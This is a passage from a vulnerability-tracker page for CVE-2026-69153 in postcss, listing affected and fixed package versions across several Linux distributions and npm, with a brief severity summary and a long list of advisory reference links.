8.5.2-tuxcare.0 up to 8.5.2-tuxcare.2, plus listed versions 8.5.28.5.2-tuxcare.1 |
8.5.2-tuxcare.2 |
postcssTuxCare:npm |
8.5.17-tuxcare.0 up to 8.5.17-tuxcare.2, plus listed versions 8.5.178.5.17-tuxcare.1 |
8.5.17-tuxcare.2 |
postcssTuxCare:npm From an advisory covering 4 CVEs |
8.4.49-tuxcare.0 up to 8.4.49-tuxcare.1, plus listed versions 8.4.49 |
8.4.49-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.5.12-tuxcare.0 up to 8.5.12-tuxcare.2, plus listed versions 8.5.128.5.12-tuxcare.1 |
8.5.12-tuxcare.2 |
postcssTuxCare:npm From an advisory covering 3 CVEs |
6.0.23-tuxcare.0 up to 6.0.23-tuxcare.1, plus listed versions 6.0.23 |
6.0.23-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.4.33-tuxcare.0 up to 8.4.33-tuxcare.1, plus listed versions 8.4.33 |
8.4.33-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 3 CVEs |
8.4.17-tuxcare.0 up to 8.4.17-tuxcare.1, plus listed versions 8.4.17 |
8.4.17-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.5.14-tuxcare.0 up to 8.5.14-tuxcare.1, plus listed versions 8.5.14 |
8.5.14-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 3 CVEs |
8.4.35-tuxcare.0 up to 8.4.35-tuxcare.1, plus listed versions 8.4.35 |
8.4.35-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.2.9-tuxcare.0 up to 8.2.9-tuxcare.2, plus listed versions 8.2.98.2.9-tuxcare.1 |
8.2.9-tuxcare.2 |
postcssTuxCare:npm |
8.5.18-tuxcare.0 up to 8.5.18-tuxcare.1, plus listed versions 8.5.18 |
8.5.18-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.5.5-tuxcare.0 up to 8.5.5-tuxcare.3, plus listed versions 8.5.58.5.5-tuxcare.18.5.5-tuxcare.2 |
8.5.5-tuxcare.3 |
node-postcssDebian:12 |
All versions, plus listed versions 8.4.20+~cs8.0.23-18.4.20+~cs8.0.23-1+deb12u18.4.31+~cs8.0.26-18.4.39+~cs9.2.29-18.4.49+~cs9.2.32-1 Show 14 moreShow less8.5.12+~cs9.3.32-18.5.14+~cs9.3.34-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-18.5.15+~cs9.3.39-18.5.19+~cs10.2.23-18.5.21+~cs10.2.23-18.5.23+~cs10.2.23-18.5.25+~cs10.2.23-18.5.26+~cs10.2.24-18.5.28+~cs10.2.24-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
None known |
node-postcssDebian:13 |
All versions, plus listed versions 8.4.49+~cs9.2.32-18.5.12+~cs9.3.32-18.5.14+~cs9.3.34-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-1 Show 10 moreShow less8.5.15+~cs9.3.39-18.5.19+~cs10.2.23-18.5.21+~cs10.2.23-18.5.23+~cs10.2.23-18.5.25+~cs10.2.23-18.5.26+~cs10.2.24-18.5.28+~cs10.2.24-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
None known |
node-postcssDebian:14 |
before 8.5.23+~cs10.2.23-1, plus listed versions 8.4.49+~cs9.2.32-18.5.12+~cs9.3.32-18.5.14+~cs9.3.34-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-1 Show 6 moreShow less8.5.15+~cs9.3.39-18.5.19+~cs10.2.23-18.5.21+~cs10.2.23-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
8.5.23+~cs10.2.23-1 |
postcssnpm |
before 8.5.23 | 8.5.23 |
postcssnpm |
before 8.5.18 | 8.5.18 |
prometheus3.5Red Hat:hummingbird:1 |
before 0:3.5.5-0.7.hum1 | 0:3.5.5-0.7.hum1 |
grafana13.1Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:13.1.1-0.5.1.hum1 | 0:13.1.1-0.5.1.hum1 |
prometheus3.13Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:3.13.2-0.2.hum1 | 0:3.13.2-0.2.hum1 |
grafana12.4Red Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:12.4.6-0.4.hum1 | 0:12.4.6-0.4.hum1 |
grafana13.1Red Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:13.1.1-0.5.2.hum1 | 0:13.1.1-0.5.2.hum1 |
rh-podman-desktopRed Hat:enterprise_linux:10.2 From an advisory covering 24 CVEs |
before 0:1.1.2-1.el10_2 | 0:1.1.2-1.el10_2 |
flightctlRed Hat:edge_manager:1.1::el10 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el10em | 0:1.1.4-1.el10em |
flightctl-agentRed Hat:edge_manager:1.1::el10 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el10em | 0:1.1.4-1.el10em |
flightctl-cliRed Hat:edge_manager:1.1::el10 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el10em | 0:1.1.4-1.el10em |
flightctlRed Hat:edge_manager:1.1::el9 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el9em | 0:1.1.4-1.el9em |
flightctl-agentRed Hat:edge_manager:1.1::el9 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el9em | 0:1.1.4-1.el9em |
flightctl-cliRed Hat:edge_manager:1.1::el9 From an advisory covering 23 CVEs |
before 0:1.1.4-1.el9em | 0:1.1.4-1.el9em |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el10ap | 0:1.6.8-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.14-1.el9ap | 0:2.6.14-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el8ap | 0:4.6.33-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el9ap | 0:4.6.33-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.10-8.el8ap | 0:2.5.10-8.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el8ap | 0:2.5.20260923-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el9ap | 0:2.5.20260923-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el8ap | 0:3.1.60-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
postcssRoot:npm |
before 8.4.49-aikido.4 | 8.4.49-aikido.46.0.1-aikido.28.4.38-aikido.28.5.3-aikido.38.4.21-aikido.28.5.6-aikido.38.5.14-aikido.18.5.15-aikido.18.5.8-aikido.47.0.39-aikido.65.2.18-aikido.48.5.3-aikido.28.5.9-aikido.38.5.6-aikido.48.4.49-aikido.38.4.38-aikido.18.5.15-aikido.28.4.21-aikido.17.0.39-aikido.78.5.8-aikido.56.0.23-aikido.16.0.1-aikido.15.2.18-aikido.56.0.23-aikido.28.5.6-aikido.56.0.23-aikido.38.4.31-aikido.4 |
@rootio/postcssRoot:npm |
before 8.4.49-root.io.4 | 8.4.49-root.io.46.0.1-root.io.28.4.38-root.io.28.5.3-root.io.38.4.21-root.io.28.5.6-root.io.38.5.14-root.io.18.5.15-root.io.18.5.8-root.io.47.0.39-root.io.65.2.18-root.io.48.5.3-root.io.28.5.9-root.io.38.5.6-root.io.48.4.49-root.io.38.4.38-root.io.18.5.15-root.io.28.4.21-root.io.17.0.39-root.io.78.5.8-root.io.56.0.23-root.io.16.0.1-root.io.15.2.18-root.io.56.0.23-root.io.28.5.6-root.io.56.0.23-root.io.38.4.31-root.io.4 |
node-postcssUbuntu:20.04:LTS |
All versions, plus listed versions 6.0.23-16.0.23-3 |
None known |
node-postcssUbuntu:22.04:LTS |
All versions, plus listed versions 8.2.1+~cs5.3.23-88.4.5+~cs7.1.51-28.4.6+~cs7.3.21-1 |
None known |
node-postcssUbuntu:24.04:LTS |
All versions, plus listed versions 8.4.20+~cs8.0.23-18.4.31+~cs8.0.26-1 |
None known |
node-postcssUbuntu:26.10 |
All versions, plus listed versions 8.5.8+~cs9.3.30-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-18.5.15+~cs9.3.39-1build18.5.25+~cs10.2.23-18.5.26+~cs10.2.24-1 |
None known |
node-postcssUbuntu:26.04:LTS |
All versions, plus listed versions 8.5.6+~cs9.3.28-18.5.8+~cs9.3.30-1 |
None known |
agama-web-uiopenSUSE:Tumbleweed From an advisory covering 19 CVEs |
before 24+0.a836cced5-52.1 | 24+0.a836cced5-52.1 |
velociraptoropenSUSE:Tumbleweed From an advisory covering 40 CVEs |
before 0.76.7.0.git145.b60ef1146-1.1 | 0.76.7.0.git145.b60ef1146-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-69153 is a medium vulnerability (CVSS 6.3) in Postcss, published July 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in postcss 8.5.23.
References
github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp
github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8
github.com/postcss/postcss/releases/tag/8.5.19
github.com/advisories/GHSA-fxqj-rqcc-2cmp
github.com/postcss/postcss/security/advisories/GHSA-r28c-9q8g-f849
github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c
Show 194 moreShow less
github.com/postcss/postcss/releases/tag/8.5.18
github.com/advisories/GHSA-r28c-9q8g-f849
github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69153.json
nvd.nist.gov/vuln/detail/CVE-2026-69153
security-tracker.debian.org/tracker/CVE-2026-69153
github.com/postcss/postcss
access.redhat.com/errata/RHSA-2026:50070
access.redhat.com/security/cve/CVE-2026-69153
access.redhat.com/security/updates/classification
images.redhat.com
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50070.json
bugzilla.redhat.com/show_bug.cgi?id=2510719
cve.org/CVERecord?id=CVE-2026-69153
access.redhat.com/errata/RHSA-2026:50079
access.redhat.com/security/cve/CVE-2026-69152
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50079.json
bugzilla.redhat.com/show_bug.cgi?id=2510722
cve.org/CVERecord?id=CVE-2026-69152
nvd.nist.gov/vuln/detail/CVE-2026-69152
github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d
github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac
github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf
github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031
github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895
access.redhat.com/errata/RHSA-2026:50287
access.redhat.com/security/cve/CVE-2026-73086
access.redhat.com/security/cve/CVE-2026-72815
access.redhat.com/security/cve/CVE-2026-73646
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50287.json
bugzilla.redhat.com/show_bug.cgi?id=2515988
cve.org/CVERecord?id=CVE-2026-72815
nvd.nist.gov/vuln/detail/CVE-2026-72815
github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx
vulncheck.com/advisories/go-chi-chi-ip-spoofing-via-x-forwarded-for-header
bugzilla.redhat.com/show_bug.cgi?id=2514175
cve.org/CVERecord?id=CVE-2026-73086
nvd.nist.gov/vuln/detail/CVE-2026-73086
github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4
github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3
github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac
github.com/ai/nanoid/releases/tag/3.3.12
bugzilla.redhat.com/show_bug.cgi?id=2517456
cve.org/CVERecord?id=CVE-2026-73646
nvd.nist.gov/vuln/detail/CVE-2026-73646
access.redhat.com/errata/RHSA-2026:50290
access.redhat.com/security/cve/CVE-2026-14257
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50290.json
bugzilla.redhat.com/show_bug.cgi?id=2506433
cve.org/CVERecord?id=CVE-2026-14257
nvd.nist.gov/vuln/detail/CVE-2026-14257
npmjs.com/package/brace-expansion
access.redhat.com/errata/RHSA-2026:50826
access.redhat.com/security/cve/CVE-2026-67313
access.redhat.com/security/cve/CVE-2026-67314
access.redhat.com/security/cve/CVE-2026-67315
access.redhat.com/security/cve/CVE-2026-67316
access.redhat.com/security/cve/CVE-2026-67317
access.redhat.com/security/cve/CVE-2026-67318
access.redhat.com/security/cve/CVE-2026-69192
access.redhat.com/security/cve/CVE-2026-69198
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50826.json
cve.org/CVERecord?id=CVE-2026-67313
bugzilla.redhat.com/show_bug.cgi?id=2510030
cve.org/CVERecord?id=CVE-2026-67314
nvd.nist.gov/vuln/detail/CVE-2026-67314
vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields
bugzilla.redhat.com/show_bug.cgi?id=2510019
cve.org/CVERecord?id=CVE-2026-67315
nvd.nist.gov/vuln/detail/CVE-2026-67315
vulncheck.com/advisories/axios-before-no-proxy-bypass-via
bugzilla.redhat.com/show_bug.cgi?id=2510009
cve.org/CVERecord?id=CVE-2026-67316
nvd.nist.gov/vuln/detail/CVE-2026-67316
vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods
bugzilla.redhat.com/show_bug.cgi?id=2510031
cve.org/CVERecord?id=CVE-2026-67317
nvd.nist.gov/vuln/detail/CVE-2026-67317
vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream
bugzilla.redhat.com/show_bug.cgi?id=2509989
cve.org/CVERecord?id=CVE-2026-67318
nvd.nist.gov/vuln/detail/CVE-2026-67318
vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2
bugzilla.redhat.com/show_bug.cgi?id=2510801
cve.org/CVERecord?id=CVE-2026-69192
nvd.nist.gov/vuln/detail/CVE-2026-69192
bugzilla.redhat.com/show_bug.cgi?id=2510803
cve.org/CVERecord?id=CVE-2026-69198
nvd.nist.gov/vuln/detail/CVE-2026-69198
bugzilla.redhat.com/show_bug.cgi?id=2455470
bugzilla.redhat.com/show_bug.cgi?id=2476810
bugzilla.redhat.com/show_bug.cgi?id=2477081
bugzilla.redhat.com/show_bug.cgi?id=2477914
bugzilla.redhat.com/show_bug.cgi?id=2487050
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2488480
issues.redhat.com/browse/RHEL-238929
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json
cve.org/CVERecord?id=CVE-2026-9595
nvd.nist.gov/vuln/detail/CVE-2026-9595
cna.openjsf.org/security-advisories.html
cve.org/CVERecord?id=CVE-2026-12143
nvd.nist.gov/vuln/detail/CVE-2026-12143
cwe.mitre.org/data/definitions/93.html
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
cve.org/CVERecord?id=CVE-2026-13149
nvd.nist.gov/vuln/detail/CVE-2026-13149
cve.org/CVERecord?id=CVE-2026-13676
nvd.nist.gov/vuln/detail/CVE-2026-13676
cve.org/CVERecord?id=CVE-2026-34986
nvd.nist.gov/vuln/detail/CVE-2026-34986
pkg.go.dev/github.com/go-jose/go-jose/v4
cve.org/CVERecord?id=CVE-2026-42338
nvd.nist.gov/vuln/detail/CVE-2026-42338
nvd.nist.gov/vuln/detail/CVE-2026-42570
raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68334.json
go.dev/cl/781703
go.dev/issue/79574
groups.google.com/g/golang-announce/c/iI-mYSI0lu8
pkg.go.dev/vuln/GO-2026-5029
go.dev/cl/781685
go.dev/issue/79575
pkg.go.dev/vuln/GO-2026-5030
go.dev/cl/783621
go.dev/issue/79694
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5037
go.dev/cl/763763
go.dev/issue/78332
groups.google.com/g/golang-announce/c/0uYbvbPZRWU
pkg.go.dev/vuln/GO-2026-4866
go.dev/cl/814980
go.dev/issue/80405
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-5972
go.dev/cl/759940
go.dev/issue/78566
groups.google.com/g/golang-announce/c/qcCIEXso47M
pkg.go.dev/vuln/GO-2026-4986
go.dev/cl/781662
go.dev/issue/79566
groups.google.com/g/golang-announce/c/a082jnz-LvI
pkg.go.dev/vuln/GO-2026-5019
go.dev/cl/771520
go.dev/issue/78987
pkg.go.dev/vuln/GO-2026-4977
go.dev/cl/774481
go.dev/issue/79217
pkg.go.dev/vuln/GO-2026-5038
go.dev/cl/781620
go.dev/issue/79561
pkg.go.dev/vuln/GO-2026-5013
pkg.go.dev/vuln/GO-2026-5970
pkg.go.dev/vuln/GO-2026-6089
pkg.go.dev/vuln/GO-2026-6091
pkg.go.dev/vuln/GO-2026-6088
pkg.go.dev/vuln/GO-2026-6218
pkg.go.dev/vuln/GO-2026-6090
pkg.go.dev/go.mongodb.org/mongo-driver/[email protected]
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71113.json
vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
vulncheck.com/advisories/dompurify-before-cross-site-scripting-via-in-place-hook
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71114.json
ubuntu.com/security/CVE-2026-69153
suse.com/security/cve/CVE-2025-7783
suse.com/security/cve/CVE-2026-13149
suse.com/security/cve/CVE-2026-13676
suse.com/security/cve/CVE-2026-33245
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-53632
suse.com/security/cve/CVE-2026-54466
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-67313
suse.com/security/cve/CVE-2026-67315
suse.com/security/cve/CVE-2026-67317
suse.com/security/cve/CVE-2026-67319
suse.com/security/cve/CVE-2026-67321
suse.com/security/cve/CVE-2026-69153
suse.com/security/cve/CVE-2026-73086
suse.com/security/cve/CVE-2026-73088
suse.com/security/cve/CVE-2026-73089
suse.com/security/cve/CVE-2026-73650
Left out here: 501 references and the rest of 4 source descriptions. The JSON record has them.